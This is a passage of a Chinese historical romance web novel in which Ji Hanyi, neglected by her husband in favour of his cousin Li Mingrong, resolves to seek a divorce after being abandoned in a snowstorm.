《朱门春闺》
第1章 醒悟
隆冬的深夜,呼啸的大雪声灌进耳里,夹杂着帘子被吹得啪啪作响的声音。
季含漪眯着眼睛,冻的僵硬的手指撩开被吹硬的帘子,目光看向浓稠雪夜里的远处,远处奔来的马蹄声夹杂在风雪里并不清晰,但她还是听见了。
身后传来一道柔弱纤细的声音:“表嫂,表哥会来接我们么。”
含漪放下帘子,没有回答,只是疲惫的闭着眼睛。
她知道,他会来的。
再大的风雪也会来。
今日她本不愿来陪李明柔去温泉庄子里的,但他说:“含漪,你是明柔表嫂,明柔身上有寒疾,你也应该照顾她。”
他说这话的时候声音很冷清,理所当然的安排好了一切。
只是回来时,大雪封路,车轮裂开,马车被困在了半路上。
马夫骑马回去报信,已经快两个时辰了,他很快就要来了。
忽远忽近的马蹄声在风雪夜里如密集的鼓点,越近便越焦急,直到马声嘶鸣,马车外传来一道温润又担忧的声音:“明柔。”
紧接着,帘子被掀开,伸进来一只修长的大手。
季含漪垂眸看着那只手,显然不是为她而来。
身边传来李明柔哽咽的声音,柔弱又娇气:“表哥,你终于来了。”
李明柔将柔软的手指放在那只修长大手上,或许是太害怕,粉色的身形如蝴蝶般扑过去,细细的抽泣声在雪夜里如绵长温暖的春景,让人也跟着沉溺。
含漪默然看着那只放在那粉衣后背上的修长手指顿了顿,又将怀里的人抱紧。
紧接着,一件厚厚的狐裘就披在了那纤细秀气的肩膀上。
含漪移开了视线,将目光看向旁边的帘子。
帘子被雪风吹的翻飞,雪点打进来落到她脸颊上,她已经感觉不到冷了。
只是将僵硬的手指收进袖口的深处。
李明柔在谢玉恒的怀里哭了许久,才在男人温和的哄声里被哄好,接着她被男人抱出了马车。
含漪听见外头传来李明柔还带着哽咽的声音:“那表嫂呢。”
后面男人的话被裹在风雪里,季含漪没有听见,但也并不那么重要。
她只是紧了紧身上的斗篷,沉默的看着马车内被吹得摇晃的琉璃灯,又在她身上投下破碎的影子。
很快,帘子又被掀开,一张矜贵的清疏面容露在她的面前,与她说了今夜的第一句话:“来接你们的马车在半路上被积雪挡住不能往前,我只能先骑马过来。”
“明柔自来怕寒,这回吓着了她,马上只能坐一人,我先送她回去。”
“你再等等,马车很快就来接你。”
季含漪便理解的点点头,什么也不问,只是道:“好。”
男人的面孔在昏暗摇曳的灯下明灭不定,他看着季含漪平静的面容,又看她缩着身子,皮肤苍白,正打算走的步子又顿了一下。
他又看着她,解释了一句:“我来时只能带一件狐裘,你是她表嫂,先委屈你一些。”
这样的话季含漪自嫁给他已听了许多,仿佛嫁给他,便天生应该受委屈一般。
或许要是在以前的话,她这时候已经对他质问了出来,到底谁才是你的妻?
但那时候谢玉恒定然会用更加冷清的眼神看她。
他不会说话,或多解释一个字,他只会用那如冰锥般的眼神,将你扎得体无完肤,让你觉得你是一个无理取闹的疯子。
现在的季含漪连质问都已疲倦,质问也没用,他依旧不会带她走,自己这个妻子,在他心里也从未重要过。
她疲惫的不想说话,只点头:“快些去吧,明柔还在马上等你。”
说完这句话时,季含漪看到谢玉恒的眉目蹙起,正用复杂的眼神看着她。
季含漪闭上眼睛,不因为别的,只是无话可说了。
谢玉恒又抿抿唇,没有再说话,只看了一眼季含漪,放下了帘子。
马车外很快响起了马蹄声,接着声音又消失在风雪里。
身边传来丫头容春难过的声音:“大人留夫人一个人在这里,真的不担心么。”
含漪缓缓将身子靠向身边的容春,她靠在她的肩膀上,垂着眼帘看着脚边的炭火只剩下零星火光。
吐出一口冷气后,她竟开始喜欢这样的冷清。
她静静的闭上眼睛轻声道:“容春,我睡一会。”
闭上眼睛的一瞬间,她看到了三年前的自己。
那是一年初秋,她在谢府门前等了许久,直到谢玉恒出现。
她手上紧紧捏着两人的婚书跑过去,心里紧张,却故作镇定的仰头看他:“我就是季家的女儿。”
“我来是想问你,我们的婚约还作数么?”
当时的她已经及笄,也是她此生唯一大胆的一次。
她当时紧张得手心出汗,不知要什么结果。
那时候她父亲已经在党争下入狱,季府被查抄,树倒猢狲散,从前门庭若市的季府,只剩下落井下石。
她与母亲虽然被网开一面没有牵连,寄住在已经没落的外祖那里,但谢玉恒要反悔这门亲,也不会有人指责他。
人之常情,毕竟今非昔比。
就连季含漪自己,那时候也做好要是季含漪反悔,她就当场撕了婚书的准备。
因为谢玉恒那时在京中已小有名声,年少出仕成名,皎月似的端方人物,京城无数名门女子想要嫁他。
他并不缺更好的姻缘。
她甚至已经正打算开口说他不愿意她就撕了婚书,当做婚书从未有过,她也不怪他。
但谢玉恒开口应下了。
季含漪已经忘了那时候谢玉恒是什么表情了,她只记得他的声音,温润又低缓,在未凉的秋日里带给她雪中送炭的暖,他说:“既是父母之命,婚约自然作数。”
“在下不日就会让母亲登门商议婚期。”
那时候季含漪以为自己遇到了一生的良人。
那个愿意为她雪中送炭的良人,会如她父亲对她母亲那般好。
她以为她又有家了。
原来她以为的良人,娶她只是因为爱惜自己的名声,他心里也早有所属。
皑皑冬日里,她如梦初醒般的浑浑噩噩转身,却对上一双在深夜梦回时的失望眼睛:“你看清了,这就是你选的夫君。”
又一股刺骨的寒风吹破厚厚的帘子吹进来,吹醒了梦中人。
季含漪忽的睁开眼,看向早已燃尽的炭火。
僵冷的手指已没有力气去拨弄了。
她想起那年她十四岁去狱中看父亲最后一眼时,父亲依旧慈爱的握住她的手缓慢道:“含漪,别哭,这世上没有绝对的对与错,也没有绝对的好与坏。”
“就如官场沉浮,起起落落,赢的不一定能永远赢下去,输的也有死灰复燃的希望。”
“你别怨恨,别牵挂,别执念。”
“放下过去,永远往前走。”
季含漪看向帘子外的雪。
她忽然醒悟过来,结束这段永远在寒冬里止步不前的姻缘,才能如父亲说的,永远往前走下去。
第2章 回府
寒冷的风雪带给人彻骨的寒,季含漪等到了下半夜,零星的炭火早已凉尽,唯有马车顶摇曳的琉璃灯发出微弱的光线。
来接她的马车也依旧没有来。
今夜雪大,她知道他不会来了。
好在长夜终将迎来天明。
在天际泛出一丝白的时候,马车才姗姗来迟。
车夫跑过来一边将手里的狐裘递进去,一边回话:“昨夜的雪太大,要不是恰巧遇着办差的官爷要急着出城办差,让人清了雪,恐怕小的现在也接不到少夫人。”
“也幸好遇着了那些人,不然少夫人在雪里可怎么办。”
季含漪拢着狐裘的手指拢紧,又垂了眼帘。
帘子外的马夫依旧还在说话:“本来也准备了暖手炉的,可惜这会儿估计也早凉透了。”
“马车里的炭火也烧没了,怪小的没有多带一些。”
季含漪安安静静地听着,没有责怪,只是掀开了帘子。
风雪吹乱她发丝,皑皑里一片素白,刺疼了她的眼睛。
车夫的声音依旧:“昨儿大爷知晓少夫人和表姑娘困在半路的时候紧张坏了,当时就要过来接您呢,大爷那般忙碌的人,连公务都没顾上,昨夜竟……”
他话说一半又忽然戛然而止,忙又后知后觉地闭了嘴,偷偷看季含漪的脸色。
只是少夫人低垂的脸颊上看不清神色,他却恨不得打自己一个耳光,干嘛话多提起这事?赶紧又去摆上脚凳。
季含漪无声的拢紧狐裘,再下了马车。
从那辆损坏的马车里下来的时候,她提着裙摆,踩在厚厚的雪里,但僵硬的身子早已经没有了知觉,甚至连脚下的知觉都已经没了。
好几次在快要摔倒的时候,又被身边的容春紧紧扶住。
容春已经满眼通红,跟主子一样,默默往前走,没有一声抱怨。
马车回了谢府,前门的小厮去迎着季含漪从马车里下来时,就见往日温和端庄的少夫人,现在看起来步履艰难,形容凌乱,不由眼里也有些同情。
一同去的温泉庄,表姑娘是大爷亲自去接的,少夫人反而在雪里困了一夜。
听说接表姑娘回来后,府里还忙活了一阵,还请了郎中来为表姑娘看身子,像是忘了少夫人还在雪里。
不过又好似又合情合理。
当年府里上下,谁不觉得大爷将来要娶的是表姑娘。
季含漪没有理会那些目光,她忍着踉跄回了院子,手掌撑在身边容春的手腕上,指节泛白,隐隐稳不住身形。
屋子里的炭火烧的正旺,季含漪却感觉不到暖,看着那火光,不由蹲在烧得正旺的炭火前烤手。
她的手掌压得很低,火苗触到她的掌心,她也感觉不到烫。
脑中没有什么思绪,更没有什么觉得委屈的情绪,反而觉得有一种卸下担子的轻松。
相反她庆幸,庆幸这醒悟来得还不算太晚。
容春端来姜茶给季含漪暖身,看着向来注重仪态的夫人蹲着缩成一团,她哽咽着:“少夫人先沐浴换身衣裳吧,身上暖得快一些。”
季含漪捧着杯子,僵冷的手指依旧没有多少知觉,热汤入喉,身上也依旧冷。
这时候帘子被人从外头急促的掀开,接着传来细细的脚步声,李明柔一脸担忧的进来,她看着蹲在炭盆前的季含漪愣了愣,忙又过来道:“我听说表嫂回来了,姨母让我来看看表嫂,让表嫂好好休息着,先不用去姨母那儿了。”
说着她过来蹲在季含漪的身边,眼里带着关心地问:“表嫂没事吧?”
“表哥送我回来后,我本来让表哥马上去接表嫂的,但表哥担心我身子要陪着我,如今见到表嫂安然回来了,我也放心了。”
“表哥下值后回来见到表嫂安好,也放心了。”
季含漪微微侧头看向明柔。
只见她身上穿着黄色小袄,脖子上一圈狐狸毛,发丝严谨规整,面色白皙红润,不见被风雪吹打过。
那张年轻娇美的脸庞,白嫩清澈,像是一朵被护得很好的,带着露水的花骨朵儿,那双柔弱又明亮的眼眸深处,却带着淡淡的得意与轻蔑。
那眼神仿佛在时时刻刻告诉她,她永远都争不过她。
但她从没要争过。
季含漪收回目光,低声道:“无妨的,你不必来看我,你的身子要紧。”
说着李含漪撑着膝盖站起来,坐在旁边的软椅上,又叫容春也给李明柔上茶。
李明柔看着季含漪平静的眸子顿了一瞬,她想过季含漪许多种表情,独独没有想到过她现在会这么淡定。
从前季含漪总是说她未嫁缠着表哥不好,那明明不甘又说教的神情,还有她眼里曾露出的受伤难过她都看到过,总之她不该是这样平静的。
她承认,她喜欢看季含漪失落的眼神,那样季含漪才能更明白,在表哥的心里,谁才是最重要的。
季含漪要是识趣,便该自请下堂,强入了谢家的门,她都瞧不上她。
强扭的瓜不甜,这么显而易见的道理,她都不懂么?
李明柔跟着坐到另一张软椅上,不屑的目光看向季含漪,只看到季含漪依旧昨日一身黛色,发丝些微凌乱,简单的发簪插在乌发间,侧身垂颈饮茶。
窗外淡淡的光晕落在她身上,肤色雪白,眉目如画,看起来永远这么体面。
她也唯剩这点体面了。
李明柔其实很想将季含漪逼到失去仪态的时候,撕破她不被夫君喜爱又强装镇定的虚伪面容。
李明柔淡淡的看着,又开口:“我本也担心表嫂,急着来瞧瞧表嫂。”
“但表嫂像是不喜欢我过来,该是昨夜表哥先带我回去,让表嫂又不高兴了,是么?”
容春在旁边听李明柔这张嘴里说出类似的话已经多得数不胜数,楚楚可怜,弱不禁风,大爷的确是偏心,但她这么一说,却都成了夫人小心眼,必然又要让大爷责怪少夫人。
季含漪放下手上的茶盏,春雪茶的香味袅袅,她淡淡的眸子看着明柔,声音细语温和:“你不用这么想,我刚回来,身上寒气还未消,你的身子受不得寒,早些回去歇一会儿。”
“别叫你表哥担心。”
她的话体面又从容,不将被抛弃的狼狈露于脸上。
季含漪知道李明柔想看什么,但她或许永远不能如愿了。
李明柔愣了下,忽又笑开,看向窗外,笔直的背脊上勾勒出一股惋惜与嘲讽:“我记得表嫂刚嫁进来的那一年在窗外种了许多海棠,到了三月时,窗外的景色可美了。”
说着她看向季含漪:“可惜,我闻不得海棠的味道,表哥为了我,府里上下都没让种,表嫂种的那些海棠也被表哥让人拔了。”
“我听说表嫂最喜爱海棠,今年三月却见不到了,表嫂会难过么?”
第3章 乏味与厌倦
站在季含漪身后的容春听到这话,气的身上都颤了颤。
这李明柔哪里是闻不得海棠,她是根本见不得少夫人顺心。
但凡瞧见少夫人和大爷的关系好了一些,她总要出些幺蛾子出来。
少夫人喜欢海棠,是从前夫人喜爱海棠,老爷便亲手为夫人种了满院,当初老爷与夫人也是因海棠结缘的。
海棠便是少夫人的寄托,当初却因为李明柔的一句话,大爷就让人将少夫人亲手种下的海棠全拔了。
那一天,少夫人伤心的落泪求大爷留下一株,大爷却连眼睛都没眨一下的还是让人都拔了。
时隔快两年旧事重提,不是在夫人的伤口上撒盐么。
季含漪侧头看向窗外。
她刚嫁来谢家那一年,她以为她会与谢玉恒如她母亲和父亲那般举案齐眉的过一辈子。
毕竟谢玉恒清贵端方,她在许早前就听过他正派的名声。
他们说他身上有君子贵重的品性,不染于污浊。
她种下海棠,也是以为自己能在这里安安稳稳的过一生。
她亲手种下的每一株花,都有她的尽心尽力。
如今窗外早已萧疏,一眼看出去,唯有平整的白,再没有一丝颜色。
季含漪回头,眉目依旧从容。
她的确曾伤心了许久,没有人安慰她,她更不能让母亲和外祖母也为她伤心,在夜里独自一人,伤口便自己愈合了,也不会再疼了。
指尖依旧微微的凉,茶水也暖不透全身,季含漪低低开口:“海棠哪里都能见到,人才是最重要的。”
不紧不慢的话,让李眀柔觉得一拳打在了棉花上。
她没想到她点到这个份上,季含漪还要死守着一个不喜欢她的人。
不过是因为家道中落,便舍不得富贵了。
她从心底瞧不上这样的人。
她来这一遭,本来也不是要给季含漪什么脸面的,她已经及笄一年,她等不及了。
李眀柔微微坐直了身子,眼底不再隐藏的袒露出轻视与倨傲:“你知道吗,在你拿着婚书来找表哥的那一年,本来我姨母都已经开始打算让我嫁给表哥了。”
“要不是你横插来一脚,拿着十年前的婚书来,我如今已经是表哥的妻子了。”
“你嫁来谢家的这两年,你也应该明白我在表哥心里的位置。”
“你要是识趣的自请和离,我还能劝表哥和姨母给你一些赔偿。”
说完李眀柔站起来,轻蔑的目光看向季含漪:“表嫂,你别不识趣。”
“你在雪中一夜表哥都没有管你,难道你还不清醒么?表哥一点都不在乎你。”
“人总要认清自己的位置,别太贪心了。”
帘子轻晃,细细的脚步声远去。
李明柔拢着袖子看着庭院里未消融的雪,看着院子角落处那棵梨树已长得高大,她呵出口白气,又笑了笑。
那棵梨树是小时候她刚来谢府时,表哥与自己一起种下的,表哥说,只要这棵梨树还在,她便永远是重要的。
他也永远护着她。
她瞧不上季含漪。
因为季含漪不明白,不是她的,永远也不是。
强求来的,也不是。
屋内的季含漪静静看着李眀柔的背影,回过视线又看到容春欲言又止的神情,她笑笑拍拍她的手,让她先去准备热水沐浴。
热水洗去她身上的寒气,泡了许久,身上才觉得暖起来。
容春担忧的小声道:“在雪天里等了一夜,还吹了那么冷的风,夫人八成是寒了,要不还是请郎中来瞧瞧吧。”
季含漪忍不住喉间的痒意,又咳了几声,再嗯了一声。
郎中很快来看了诊,眉头紧皱,叹息:“夫人的身子哪经得住这样的寒,风寒也是要人命的。”
旁边容春红了眼眶,季含漪安慰着容春:“一场风寒罢了,你别担心。”
容春抹泪:“少夫人从前哪里有过这样的委屈,淋了场细雨,老爷夫人便心疼的不行。”
“何况是吹了一夜的雪。”
季含漪的指尖一顿,又轻轻叹息一声:“容春,今非昔比了。”
季家已经家道中落,身后无人,便不能指望有人能够来心疼。
这时候外头又有婆子要进来传话,那是大夫人身边的婆子,许是也知晓了昨夜的事情,送了些补身子的补药,让季含漪这两日好好养着,不用去她那儿问候。
季含漪收下,也道了谢意。
等那婆子走后,又让容春将送来的东西都拿下去放好。
她虽家道中落,但从前的日子亦是金贵的,吃穿用度都是用的最好,那送来的东西瞧着是燕窝鱼翅,不过都是次品。
季含漪也没什么想要计较的,谢家毕竟清流,祖上都是进士出仕,规矩礼仪都重,更不会将事情扯得太难看,但规矩之下的敷衍与浮于表面,谢家的大夫人是最深谙的。
夜里谢玉恒回来的时候,一进内屋时便闻到一股药味,他冷清的眉间微蹙。
他走进去,季含漪靠在床塌上,从前总是一丝不苟挽起来的长发,此刻松散的落在她肩头,低垂细眉下的容色稍有些苍白,又添了两分孱弱的书卷气。
屋内并没有点明亮的烛火,暖色铺在她身上单衣上,她指尖的书在他进来的那一刻就合上了,放在了枕边。
这是谢玉恒第一次在夜里回来看到季含漪躺在榻上,也是第一回他进来的时候,她没有迎出来,再亦步亦趋的跟在他身后为他更衣。
他脸上没有多余的表情,他本不需要她做那些事情,冷清眉眼看着床塌上的人:“今日明柔来看你,你将她赶走了。”
简单陈述的话,冷冷清清的语气,音调没有起伏。
或许是他在大理寺呆的久了,即便这样陈述的语调,听起来也像是在审问。
现在他来先兴师问罪的说了这样一句,看来是先去李明柔那里了。
李明柔用尽手段在自己面前证明谢玉恒最牵挂她,她也的确是做到了。
季含漪揉了揉眉间,这样重复的兴师问罪,她只觉得淡淡厌倦与乏味。
她对谢玉恒也感觉到了厌倦与乏味。
第4章 最后一个,也是独一份的
思绪到这里的时候她微微一顿。
原来谢玉恒真的不再重要了,他这样的质问,她连难过都没有。
那个她记忆里温润如玉的谢玉恒,那个在曾对她许诺不在意她家道中落,依旧会来提亲的谢玉恒,那个外人口中清正君子的谢玉恒,留在她心里的最后一丝温度都已经散去。
她只是稍一失神,就又听到谢玉恒低低的声音:“含漪,你应该学学明柔如何沉心静气。”
“而不是困于后宅,整日只知道争风吃醋。”
他说完这句话,转身又走了出去。
季含漪静静看着谢玉恒的背影,又淡淡收回视线拿起了手上的书册。
嫁入谢家三年,她尽心尽力为他打理好后院,安排好他所需的每一样东西,让他从未为琐事分过心
,即便婆母偶尔苛责刁难,她也从未与他开口过。
夫妻一场,她自问尽心尽力,却换来他一句争风吃醋。
也罢了,他的心始终是偏的。
容春站在季含漪身边,小声道:“这几年少夫人与大人之间一直有误会,要不奴婢叫大人回来,少夫人与大人解释两句吧。”
“那表姑娘惯会在中间挑拨离间,日子长了,不就更离心了?”
季含漪捂着唇咳了两声,她目光落在书册上,又摇头:“不必了。”
她从前解释过,解释过千万遍,他不信,到如今,这不过是一场被风雪吹乱的宴席,即便解释清楚,也是一桌狼藉,再恢复不了原貌。
他信不信,再不重要了。
她亦看明白了自己,若是在雪里时是她对谢玉恒彻底心冷,那刚才对谢玉恒产生的那瞬间厌烦让她清醒过来,她对谢玉恒,连夫妻情分的喜欢都烟消云散。
早上起来的时候,谢玉恒已经在屋内穿戴。
季含漪看去一眼,又去一边的架子上梳洗。
这是两人常见的场景,谢玉恒很少会睡在她屋内,他公务繁忙,案子卷宗他每一个都要问心无愧,事无巨细。
有时候谢玉恒回来,季含漪也见不到他一眼,唯有早上梳洗时,两人才有片刻交集。
唯一不同的是,今日季含漪没有如往常那样去谢玉恒的身边为他穿衣,为他熏香,为他递热巾。
谢玉恒很快就收拾妥当,他要早早冒着风雪去早朝,一直都是先走。
但今日他走到帘子处,又回头看向坐在铜镜前,正让丫头梳头的季含漪身上。
冬日的天色亮得很晚,屋内的烛灯明亮,在季含漪的身上投下一些烛影。
她端坐的很笔直,一头乌法如瀑,娟秀的眉眼如江南女子秀美,耳畔一对翡翠耳坠,摇晃在她烟紫色的肩头,又折射出细碎的光线。
娇小婉约的身姿,在忽明忽暗的烛光中,如天青色的雨雾。
他第一眼见她,原以为她是宽容大度的女子的。
屋内依旧有一股药味,谢玉恒忽的开口:“我听说雪大,马车没能及时接你,你困在了雪里一夜。”
季含漪有些诧异的看向谢玉恒,想开口时,一声咳嗽又溢了出来。
她捂着唇咳了几声,又才看向谢玉恒,带着些微沙哑,眉目依旧:“没什么要紧的,不过多等了一会儿。”
谢玉恒听着那声明显压抑着的咳声,又看着季含漪细白指尖落在唇边的帕子,上头绣着一朵粉色的栩栩如生的海棠。
他静静看着她,心头涌起股莫名情绪。
往前的时候,季含漪总会计较。
一遇到李明柔的事情,她细枝末节都会计较。
但这次她好似异常的安静,安静的连提起都不曾。
谢玉恒抿抿唇,声音低了些:“这次的事是我没顾虑周全,待会儿我让管家给你送一匹蜀锦来。”
季含漪听到蜀锦时,稍微怔了一下。
原谢玉恒还记着这桩事。
她嫁来谢府的第二年,谢玉恒破了一桩陈年悬案,上头圣上赏赐,其中便有两匹蜀锦。
赏赐送来的那天,全府里喜气洋洋的,她坐在其间,也为谢玉恒高兴。
那天,那两匹蜀锦,谢玉恒当着众人的面,一匹送去了他母亲那里。
旁人以为另一匹会给她时,但谢玉恒给了李明柔。
他没有给任何理由,甚至没有看她一眼。
那一回,季含漪问他为什么。
但谢玉恒只是用淡淡不耐烦的眼神看她,仿佛她在无理取闹,更不肯给她一个哪怕敷衍的解释,就直接去了书房。
季含漪张了唇,她其实想说不用了。
她在意的其实从来也不是那匹蜀。
她在意的只是为什么她的夫君,从来都不曾在意过她的感受。
那一次后,谢府连下人都曾对她露出过轻视的眼神。
他们更明白了,她不得谢玉恒的喜欢。
她没犯任何错,但人人都是见风使舵的。
他是谢家宗子,旁人都是跟着他的一举一动和喜好行事的。
但季含漪说不用的话还没说出来,谢玉恒已经掀开帘子走了出去。
他觉得这是他天大的恩赐与补偿了。
季含漪看着那晃动的帘子,叹息一声,视线重新回到铜镜前,挑了一根素净的玉钗,落在了发间。
上午时那匹蜀锦管家倒是很快送来了。
管家送来的时候,笑着说了两句恭维话:“这是今早大爷走前特意吩咐的,少夫人这里独一份呢。”
独一份的东西,其实是该有的人都有了,她只是最后一个罢了。
最后一个,也是独一份的。
季含漪也没看一眼,她早就没在意这匹蜀锦了,只让容春收下又拿去库房放着。
总归这匹蜀锦和离后她不会带走,更不会用。
她在院子里养了两三日,风寒好了些,咳嗽也只是夜里会咳一会儿。
这两日里谢玉恒没回来,听说他手上有棘手的案子,一整日就留在了衙门里。
季含漪本也不知晓,是婆母身边的婆子过来与她说的,让她这两日夜里不用等。
她是谢玉恒的妻,但她知晓的关于谢玉恒的所有事情,都只会是最后一个。
他去京外办差,送来的家书里,从来也不会有她的。
第5章 他早不来退亲,是不够喜欢你么
今日的风雪并没有那般大,但季含漪从屋子里走出去的时候,依旧觉得身上被吹得很冷。
她拢紧了身上的狐裘斗篷,看着琉璃灯上雾蒙蒙的雪,一如前路雾蒙蒙的。
婆母林氏这两日亦病了,二房三房的人都过来看望,季含漪去的时候,暖屋里已经坐满了人。
季含漪进屋解开斗篷放在容春的手上,旁边的婆子为她打了帘子进去,热闹的寒暄声便清晰的传来,但又稍静了一会儿,众人的目光看在了她的身上。
不冷不淡的神情,更算不上热络。
她嫁来这两三年里,谢家的人一直都是用这样的神情看她的,像是并不曾将她当做谢家媳妇,更亲近不起来。
季含漪依旧如常走过去给婆母林氏问安。
林氏倒对季含漪关心了几句,又问了两句她的病,才让她去一边坐下。
又是一阵寒暄,没有人提起那夜雪夜她被独自扔下的事情,她们选择性的视而不见,反是都在说李眀柔的婚事。
二夫人道:“挑来选去的给明柔选了好几家了,瞧着及笄都一年了,玉恒都说不满意,也不知玉恒到底要给明柔挑个怎样的如意夫婿才满意了。”
那头三房的人笑道:“明柔是玉恒瞧着一起长大的,哪肯让明柔受半点委屈,自然是要好好选了。”
说着一位嫂子问李眀柔:“这京城里你可有瞧上的?只要你瞧上,便是大半人家都能嫁的。”
这话其实说的没错,李眀柔的父亲曾是宣州知府,一方父母官,也颇有政绩。
只是有一年宣州遇瘟疫,她父亲亲自治疫,却自己也染上了,母亲也一起染了病,双双离世,留下年幼的李明柔和她弟弟李明清。
那年李眀柔才五岁,李明清三岁,为避免家财被族亲争夺,林氏便将自己妹妹留下的一对兄妹接了过来。
李府家财本就不少,又朝中感念,给了不少的赏赐,这些赏赐谢府自然不会动,全都在李眀柔和李明清的名下。
且按着李明柔父亲最后的绝笔,家财兄妹二人一人一半,两人要互相扶持,不可争夺。
所以李眀柔即便是孤女,但手上的嫁妆却是很大一笔的,足够她衣食无忧几辈子。
且她父亲是为民而死,娶了她,不仅能有丰厚嫁妆,也能得到好的名声。
季含漪也是嫁来后才知晓,要不是她那年带来了婚书,谢府上下其实更乐意谢玉恒与李眀柔的婚事的。
李眀柔听了嫂子的话脸上带笑:“恒哥哥会为我选的。”
这时候站在二夫人身边的谢芸好奇的用幼稚的声音开口问:“大哥不是最喜欢表姐么?为什么不能让表姐嫁给大哥?”
谢芸不过才四五岁,是二夫人快四十岁生下的最小的孩子,童言无忌,旁人自然没人在意,倒是惹了哄笑声。
笑声微歇,林氏才开了口:“明柔的婚事,玉恒最是上心,谁都做不了主的。”
“既要家世,又要品性,还要模样,又要才情,差半点他都不满意。”
说着林氏叹息一声:“这孩子,自小最护着明柔,舍不得她受半点委屈。”
林氏说着话,眼神里却满是遗憾,紧紧牵着李眀柔的手,在厅内的所有人都是能够看清林氏眼里的那股遗憾是什么。
林氏又叹了一下,拍着李眀柔的手,又说:“委屈你了。”
“你本是极好的孩子。”
那怅然的语气,和那句委屈,什么意思,没有人不明白。
那些有意无意的神情落到季含漪身上,季含漪却是淡淡笑了笑,谢府清流的名声,也不过如此罢了。
李眀柔清甜又有些失落的声音又响起:“明柔一点不委屈的。”
人散时,季含漪被林氏留了下来,林氏是养尊处优的世家妇人,一举一动温和得体,说话也是慢声细语的。
即便她病了,也依旧雍容的靠在暖榻上,掌管府中多年中馈,也还带着一股威严。
她看季含漪的眼神从来都算不上多喜欢。
现在那眼神,渐渐变成了恨铁不成钢。
从前她总说,要是没有那份婚书,谢玉恒就是娶能帮他仕途的高门贵女也能娶,却忘了当初这门亲如何定下的。
林氏蹙眉看着季含漪:“你嫁来快三年了,肚子始终没有动静,玉恒不喜欢你,难道你不知道夜里多留留他?”
“不知道想法子讨他的喜欢?”
“你再这么下去,我要什么时候才能抱孙子?”
林氏的话透着一股疲倦和严厉,只差明点出来是她无能。
她们都明白谢玉恒多不喜欢她,她们都明白谢玉恒喜欢的人是李眀柔,却还要来为难她为什么不得谢玉恒的喜欢。
但这些话季含漪没开口说出来,因为当初是自己选的,是自己拿着婚书来找谢玉恒的。
她没得辩解。
林氏看季含漪不说话,又是头疼的揉了揉眉心:“你要实在不知道怎么讨玉恒的欢心,便去问问明柔。”
“学学她是怎么与玉恒相处的。”
季含漪从林氏那里退下去的时候,李眀柔就等在外面。
她见着季含漪出来,面上带着笑的过来挽着她的手,但笑意并不达眼底:“你知道恒哥哥为什么迟迟不愿我嫁出去么?”
季含漪对上李眀柔的视线。
李明柔笑着靠近,用只有两人能听见的声音开口:“因为恒哥哥舍不得我。”
“你知道吗,那天夜里我被恒哥哥接回来,恒哥哥也不放心我,还让人日日往我那儿送养身暖身的,怕我身子一点不好。”
“刚才我听见你咳了,恒哥哥可关心过你一回?可让人给你送了药?连郎中都是你自己请的吧,我瞧你实可怜。”
“你苦苦占着这个位置恒哥哥也不会喜欢你,我要是你,但凡有点脸面,也不会强霸占着人。”
季含漪的步子一顿。
她早就明白了,谢玉恒不是对所有人都冷清,更不不是不懂照顾。
他也知道呆在寒夜里会冷的,会风寒的,只是他唯一只在乎李明柔而已。
寒风拂来,季含漪看着李眀柔,依旧姿态从容,眼神冷淡:“讲脸面也得你有,但凡有点脸面的,也不会肖想着别人的夫君。”
“我嫁来是名正言顺的,你当初嫁来谢家名正言顺么?”
“你们要真互相钦慕,怎么不早来季家商议退亲?反而来祸害我?”
“季家如今虽已经门第不在,但在当初若谢家的来退亲,我父亲定然会二话不说的就同意。”
“他早不来退亲,是不够喜欢你么?”
第6章 早点与他说和离的事情
李明柔脸色被说的难看,一直到季含漪离开都没反应过来。
容春跟在季含漪身边,刚才听了少夫人的话,心里头微微觉得解气。
但她又忍不住担心的开口:“万一她又去大爷那里告状……”
也不是第一回了,那李眀柔瞧着温婉大方,背地里没少做先倒打一耙的事情,偏偏大爷从来向着她,一回也没信过少夫人。
季含漪本来也打算这两日与谢玉恒说和离的事情,即便李眀柔真与谢玉恒说了也不重要了。
她与谢玉恒,或许从来都不是同路人。
她拢了拢身上的狐裘,又低声道:“别担心,先回去。”
青石小路上湿漉漉的,裙摆扫过,稀稀落落的倒映出一缕颜色来。
路过一处竹林旁时,前头却传来低低的说话声:“你瞧今早她哪敢多说一句?还不是咬碎了牙往肚子里咽?”
“当初她嫁来,就那么寒酸的两抬嫁妆,也就是玉恒愿意娶她。”
说着一声叹息:“可惜了,玉恒和明柔多般配的一对,被她横插了一脚。”
季含漪的步子顿在原地。
稍年轻的声音响起来:“说是这么说,我倒是同情她的。”
“当初季家还在的时候,多风光?谢家都比不上的,谁能想一夕之间……”
另一道淡淡轻笑声起:“同情什么,这都是命。”
“我大嫂为什么不让她帮忙管家?还不是怕她拿了东西补贴她那药罐子母亲?她外祖家也没落了,让她管家,她还不将东西都往外人那里送?”
“大嫂可是一直防着她的。”
声音渐渐远去,化在冷冬萧疏的枝叶里。
容春怔怔侧头看向季含漪。
刚才那说话的声音,一下便能听出来,是谢二夫人和二房儿媳。
季含漪站在原处抬头看向往下坠落的枯叶,伸手接又飘起的小雪,长呵口白气。
唯有讽刺。
夜里的时候,季含漪坐在院子后面的廊屋内写信。
这间廊屋是用作季含漪平日里的书房的,谢玉恒在院子里的书房从来都不许让她进去,即便他常呆在前院的书房里,内院的书房也不许她进去。
季含漪知晓谢玉恒处理的卷宗复杂,书房不能让人轻易进去,她便在院后一排廊屋里收拾了一间屋子。
这处地方挨着库房,平日里少有人来,季含漪本也是喜欢清静的人,她不用管家,除了谢玉恒回来,清闲的时候都会呆在这里。
昏黄的烛灯并不明亮,但足够照亮一方桌案。
季含漪端坐着,铺开信纸,这才提笔落字。
如今已经没有了季家,外祖家她更不能多呆,和离后总要先为自己安排一条后路的。
落笔到最后一笔时,季含漪看着纸上的字,又伸手抚在怀里的白猫上。
白猫是她捡来的,但谢玉恒不喜欢,便从来未抱去过他面前去,就一直养在了这里。
身边的容春过来替季含漪将信纸收好,又听到季含漪低低的声音:“尽快些吧。”
容春忙点点头。
季含漪又将手边画了一半的画卷打开,又低头在画卷上落笔。
谢玉恒回来的时候,身上带着一些冷冬的湿意,他进去时,正屋里没有人,空荡荡的有些冷清。
他记起从前他回来,季含漪很快会过来为他换衣,再将熬好的暖身汤送到他手里。
无论他什么时候回来,那身影一直都在。
但谢玉恒也只是微微蹙眉,并没有多问,倒是旁边的嬷嬷迎过来低声道:“少夫人在后面廊屋,要老奴去叫么?”
谢玉恒只是换了一身衣裳,没有开口,显然是不需要的,那婆子便又识趣的退下。
